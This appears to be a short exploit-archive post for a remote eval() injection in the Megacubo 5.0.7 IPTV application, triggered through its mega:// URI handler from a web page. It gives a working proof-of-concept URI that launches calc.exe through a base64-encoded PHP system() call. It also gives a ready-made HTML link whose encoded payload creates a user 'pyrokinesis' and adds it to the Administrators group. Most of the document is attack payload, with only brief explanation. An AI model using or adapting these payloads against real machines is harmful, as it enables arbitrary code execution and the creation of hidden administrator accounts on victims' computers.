Megacubo 5.0.7 Injection Exploit

`<!--  
Megacubo 5.0.7 (mega://) remote eval() injection exploit  
by Nine:Situations:Group::pyrokinesis  
site: http://retrogod.altervista.org/  
  
tested against Internet Explorer 8 beta 2/xp sp 3  
  
software site: http://www.megacubo.net/tv/  
download url: http://sourceforge.net/project/showfiles.php?group_id=231636&package_id=280849&release_id=608023  
  
description:  
"Megacubo is a IPTV tuner application written in PHP + Winbinder.  
It has a catalogue of links of TV streams which are available  
for free in the web. At the moment it only runs on Windows(2000,  
XP and Vista)."  
(note that it is among most downloaded apps on sourceforge, http://sourceforge.net/softwaremap/trove_list.php?form_cat=99)  
  
explaination:  
it's possible to pass arbitrary php code to the "play" command  
of "mega://" uri handler which is further copied to the  
c:\DATASTORE.txt temporary file and evaluated, note the "con"  
argument (which is a windows device name) to bypass a file_exists()  
check  
  
example exploit, this run calc.exe:  
  
mega://play|con.."a()".system(base64_decode('Y21kIC9jIHN0YXJ0IGNhbGM='))."/?");print(  
  
the following one execute:  
cmd /c NET USER pyrokinesis pass /ADD && NET LOCALGROUP Administrators /ADD pyrokinesis  
-->  
  
<a href='mega://play|con.."a()".system(base64_decode(Y21kIC9jIE5FVCBVU0VSIHB5cm9raW5lc2lzIHBhc3MgL0FERCAmJiBORVQgTE9DQUxHUk9VUCBBZG1pbmlzdHJhdG9ycyAvQUREIHB5cm9raW5lc2lz))."/?");print('>pwn</a>  
  
  
`